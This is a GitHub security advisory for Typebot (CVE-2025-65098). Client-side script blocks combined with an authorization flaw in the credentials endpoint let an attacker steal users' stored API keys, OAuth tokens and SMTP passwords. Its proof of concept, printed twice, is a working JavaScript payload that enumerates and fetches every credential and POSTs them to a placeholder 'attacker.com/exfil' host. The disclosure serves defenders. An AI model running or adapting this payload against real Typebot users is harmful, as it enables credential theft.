GHSA-4XC5-WFWC-JW47

Vulnerability from github – Published: 2026-01-22 18:02 – Updated: 2026-01-22 18:02
VLAI?
Summary
Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass
Details

Summary

Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership


Details

The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.

The /api/trpc/credentials.getCredentials endpoint returns plaintext credentials:

GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}

Response:
{
  "result": {
    "data": {
      "json": {
        "name": "My OpenAI Key",
        "data": { "apiKey": "sk-proj-abc123...xyz789" }
      }
    }
  }
}

The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.

Vulnerable file: packages/embeds/js/src/features/blocks/logic/script/executeScript.ts


PoC

Here's how to reproduce:

  1. Create a new typebot in the Builder
  2. Add a Script block and enable "Execute on client"
  3. Paste this code:
const exfil = async () => {
  const data = { credentials: [] };

  const list = await fetch(
    "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
      encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
    { credentials: "include" }
  );
  const creds = (await list.json()).result?.data?.json?.credentials || [];

  for (const c of creds) {
    const full = await fetch(
      "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
        ),
      { credentials: "include" }
    );
    const d = await full.json();
    data.credentials.push({
      name: d.result.data.json.name,
      type: c.type,
      apiKey: d.result.data.json.data.apiKey,
      fullData: d.result.data.json.data,
    });
  }

  const ws = await fetch(
    "https://app.typebot.io/api/trpc/workspace.listWorkspaces",
    { credentials: "include" }
  );
  const workspaces = (await ws.json()).result.data.json.workspaces;

  for (const w of workspaces) {
    const wsList = await fetch(
      "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
        ),
      { credentials: "include" }
    );
    const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];

    for (const c of wsCreds) {
      const full = await fetch(
        "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
          encodeURIComponent(
            JSON.stringify({
              json: {
                workspaceId: w.id,
                scope: "workspace",
                credentialsId: c.id,
              },
            })
          ),
        { credentials: "include" }
      );
      const d = await full.json();
      data.credentials.push({
        workspace: w.name,
        name: d.result.data.json.name,
        type: c.type,
        fullData: d.result.data.json.data,
      });
    }
  }

  await fetch("https://attacker.com/exfil", {
    method: "POST",
    body: JSON.stringify(data),
  });
};
await exfil();
  1. Share typebot with victim
  2. When victim clicks "Run" to preview, script executes
  3. All credentials exfiltrated in plaintext:
{
  "credentials": [
    {
      "name": "My OpenAI",
      "type": "openai",
      "apiKey": "sk-proj-abc123...",
      "fullData": { "apiKey": "sk-proj-abc123..." }
    },
    {
      "workspace": "Company Workspace",
      "name": "Google Sheets",
      "type": "google-sheets",
      "fullData": {
        "refresh_token": "1//0gHdP...",
        "access_token": "ya29.a0..."
      }
    }
  ]
}

Impact

All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.

Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.

Root causes:

  • Client-side scripts execute with victim's authenticated session
  • API returns plaintext credentials without ownership verification
  • No user warnings or consent prompts
  • Exploitable with free tier account

CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@typebot.io/js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-22T18:02:12Z",
    "nvd_published_at": "2026-01-22T15:16:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nClient-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking \"Run\", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership\n\n---\n\n### Details\n\nThe Script block with \"Execute on client\" enabled runs arbitrary JavaScript in the victim\u0027s browser with their authenticated session. This allows API calls on their behalf.\n\nThe `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:\n\n```http\nGET /api/trpc/credentials.getCredentials?input={\"json\":{\"scope\":\"user\",\"credentialsId\":\"cm6sofgv200085ms9d2qyvgwc\"}}\n\nResponse:\n{\n  \"result\": {\n    \"data\": {\n      \"json\": {\n        \"name\": \"My OpenAI Key\",\n        \"data\": { \"apiKey\": \"sk-proj-abc123...xyz789\" }\n      }\n    }\n  }\n}\n```\n\nThe endpoint only checks if you\u0027re authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.\n\nVulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`\n\n---\n\n### PoC\n\nHere\u0027s how to reproduce:\n\n1. Create a new typebot in the Builder\n2. Add a Script block and enable \"Execute on client\"\n3. Paste this code:\n\n```javascript\nconst exfil = async () =\u003e {\n  const data = { credentials: [] };\n\n  const list = await fetch(\n    \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n      encodeURIComponent(JSON.stringify({ json: { scope: \"user\" } })),\n    { credentials: \"include\" }\n  );\n  const creds = (await list.json()).result?.data?.json?.credentials || [];\n\n  for (const c of creds) {\n    const full = await fetch(\n      \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n        encodeURIComponent(\n          JSON.stringify({ json: { scope: \"user\", credentialsId: c.id } })\n        ),\n      { credentials: \"include\" }\n    );\n    const d = await full.json();\n    data.credentials.push({\n      name: d.result.data.json.name,\n      type: c.type,\n      apiKey: d.result.data.json.data.apiKey,\n      fullData: d.result.data.json.data,\n    });\n  }\n\n  const ws = await fetch(\n    \"https://app.typebot.io/api/trpc/workspace.listWorkspaces\",\n    { credentials: \"include\" }\n  );\n  const workspaces = (await ws.json()).result.data.json.workspaces;\n\n  for (const w of workspaces) {\n    const wsList = await fetch(\n      \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n        encodeURIComponent(\n          JSON.stringify({ json: { workspaceId: w.id, scope: \"workspace\" } })\n        ),\n      { credentials: \"include\" }\n    );\n    const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];\n\n    for (const c of wsCreds) {\n      const full = await fetch(\n        \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n          encodeURIComponent(\n            JSON.stringify({\n              json: {\n                workspaceId: w.id,\n                scope: \"workspace\",\n                credentialsId: c.id,\n              },\n            })\n          ),\n        { credentials: \"include\" }\n      );\n      const d = await full.json();\n      data.credentials.push({\n        workspace: w.name,\n        name: d.result.data.json.name,\n        type: c.type,\n        fullData: d.result.data.json.data,\n      });\n    }\n  }\n\n  await fetch(\"https://attacker.com/exfil\", {\n    method: \"POST\",\n    body: JSON.stringify(data),\n  });\n};\nawait exfil();\n```\n\n4. Share typebot with victim\n5. When victim clicks \"Run\" to preview, script executes\n6. All credentials exfiltrated in plaintext:\n\n```json\n{\n  \"credentials\": [\n    {\n      \"name\": \"My OpenAI\",\n      \"type\": \"openai\",\n      \"apiKey\": \"sk-proj-abc123...\",\n      \"fullData\": { \"apiKey\": \"sk-proj-abc123...\" }\n    },\n    {\n      \"workspace\": \"Company Workspace\",\n      \"name\": \"Google Sheets\",\n      \"type\": \"google-sheets\",\n      \"fullData\": {\n        \"refresh_token\": \"1//0gHdP...\",\n        \"access_token\": \"ya29.a0...\"\n      }\n    }\n  ]\n}\n```\n\n---\n\n### Impact\n\nAll Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.\n\nExample: Attacker creates a \"Customer Feedback Template\" and shares with 5 company employees. When they preview it, the attacker obtains the company\u0027s OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.\n\nRoot causes:\n\n- Client-side scripts execute with victim\u0027s authenticated session\n- API returns plaintext credentials without ownership verification\n- No user warnings or consent prompts\n- Exploitable with free tier account\n\nCWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)",
  "id": "GHSA-4xc5-wfwc-jw47",
  "modified": "2026-01-22T18:02:12Z",
  "published": "2026-01-22T18:02:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-4xc5-wfwc-jw47"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65098"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/baptisteArno/typebot.io"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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